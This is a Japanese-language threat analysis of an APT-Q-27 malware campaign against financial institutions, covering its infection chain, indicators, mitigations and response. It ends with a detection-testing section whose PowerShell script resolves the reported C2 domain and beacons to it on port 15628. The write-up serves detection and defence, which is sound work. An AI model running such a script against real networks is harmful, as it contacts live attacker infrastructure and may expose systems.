金融機関を狙うAPT-Q-27に関連する疑わしいマルウェアの分析

概要

このキャンペーンは、画像ダウンロードとして偽装されたフィッシングリンクから始まる多段階感染チェーンを特徴としており、実際には .pif ドロッパーを配信します。最初のペイロードは、後に取り消された正当な証明書で署名された重度に難読化された.NET実行可能ファイルで、初期段階では評判ベースのコントロールをすり抜けるのを助けます。実行後、Windows Updateキャッシュに似たディレクトリ内にコンポーネントを配置し、その後、メモリのみの実行に移行してディスク上の証拠を減らします。最終的な結果は、ステルス性と回避を優先するモジュール式バックドアであり、サービスベースの永続性を通じてアクセスを維持しながら、一般的な署名検出を避けようとします。

調査

CyStackアナリストは、初期の配信URLをstorage.googleapis.comのインフラにたどり、隠しキャッシュのようなフォルダからステージングされたアーティファクト—updat.exe、crashreport.dll、updat.logを回収しました。ドロッパーは、Runレジストリ値を介した基本的な永続性を確立し、その後長期実行を保持するためにWindowsサービス「Windows Eventn」を登録します。バックドアは、解析防止チェックの実装、特権昇格の試み、UAC関連の設定を変更してユーザープロンプトを減らします。コマンドアンドコントロールのトラフィックはポート15628で観測され、調査者はファイル名、レジストリパス、サービス識別子、特徴的なユーザーエージェントストリングを含む検出準備のインジケーターを抽出しました。

軽減策

.pifファイルをブロックする厳格なダウンロード管理を適用し、「イメージ」リンクが静かに実行可能ファイルを配信できないようにコンテンツタイプの検証を強制します。実行時に証明書の取り消し状態とタイムスタンプを検証することでコードサイニングの施行を強化します。隠された「Windows Update風」のキャッシュディレクトリを監視し、予想外のRunキーの追加や疑わしいサービス作成イベントに対して警告を行います。UACポリシー設定をロックダウンし、関連するレジストリポリシーキーへの変更を定期的に監査します。

対応

活動が検出された場合は、即座にエンドポイントを隔離し、フォレンジックアーティファクト（メモリイメージ、レジストリハイブ、ファイルシステム証拠）を収集してから修復へ進みます。悪意あるWindows Eventnサービスを終了および削除し、特に隠されたステージングファイル、潜在的なミューテックスの使用、DLLのサイドローディングの痕跡について、回収したインジケーターを環境内でスキャンします。潜在的に暴露された資格情報をリセットし、悪用の特権アカウント活動をレビューし、抽出されたIOCでEDR/SIEMの検出を更新します。

シミュレーション実行

前提条件: テレメトリーおよびベースラインのプリフライトチェックが成功している必要があります。

理由: このセクションは、検出ルールをトリガーするよう設計された敵の手法（TTP）の正確な実行を詳述します。コマンドとナラティブは、特定されたTTPを直接反映し、検出ロジックが期待する正確なテレメトリーを生成することを目的としています。抽象的または無関係な例は誤診につながります。

• 攻撃のナラティブとコマンド:
  Windowsホストに初期の足がかりを得た攻撃者は、APT‑Q‑27インフラストラクチャへの隠密なC2トンネルを確立したいと考えています。カスタムPowerShellバックドアを使用して、オペレーターはハードコーディングされたドメイン wk.goldeyeuu.io を解決し、ポート 15628でTCP接続を開きます。トラフィックはファイアウォールによってアウトバウンドで許可され、この接続は非標準ポートを使用しているため、ファイアウォールログに際立って表示されます。攻撃者はこのチャネルを介してエンコードされたコマンドをストリーミングし、さらなるペイロードを実行します（T1059）。

  ステップバイステップ:

  1. C2ドメインを解決してDNSが動作することを確認します。
  2. 解決されたIPへのポート15628の生のTCPソケットを開きます。
  3. 接続性を確認するためにシンプルな「ping」ペイロードを送信します（ビーコンのシミュレーション）。

• リグレッションテストスクリプト:

  # -----------------------------------------------------------------------------------------------------------------
  # ポート15628でのwk.goldeyeuu.ioへのC2通信をシミュレート
  # -----------------------------------------------------------------------------------------------------------------
  # 悪意のあるドメインを解決（Red Teamにより制御されるIPを返すことが期待されます）
  $c2Domain = "wk.goldeyeuu.io"
  try {
      $c2IP = [System.Net.Dns]::GetHostAddresses($c2Domain) |
               Where-Object { $_.AddressFamily -eq [System.Net.Sockets.AddressFamily]::InterNetwork } |
               Select-Object -First 1
  } catch {
      Write-Error "DNS resolution failed for $c2Domain"
      exit 1
  }
  
  # 非標準ポート15628でのTCP接続を確立
  $c2Port = 15628
  $client = New-Object System.Net.Sockets.TcpClient
  try {
      $client.Connect($c2IP.IPAddressToString, $c2Port)
      Write-Host "Connected to $c2Domain ($($c2IP.IPAddressToString)):`$c2Port"
  } catch {
      Write-Error "Failed to connect to $c2Domain on port $c2Port"
      exit 1
  }
  
  # シンプルなビーコンペイロード（ASCII "PING"）を送信し、接続を終了
  $stream = $client.GetStream()
  $payload = [System.Text.Encoding]::ASCII.GetBytes("PING")
  $stream.Write($payload, 0, $payload.Length)
  $stream.Flush()
  Write-Host "Beacon payload sent."
  
  # クリーンアップ
  $stream.Close()
  $client.Close()
  # -----------------------------------------------------------------------------------------------------------------

• クリーンアップコマンド:

  # テスト環境の防御策として残存するTCP接続を確実に閉じる
  Get-NetTCPConnection -RemotePort 15628 -State Established |
      ForEach-Object { Stop-Process -Id $_.OwningProcess -Force }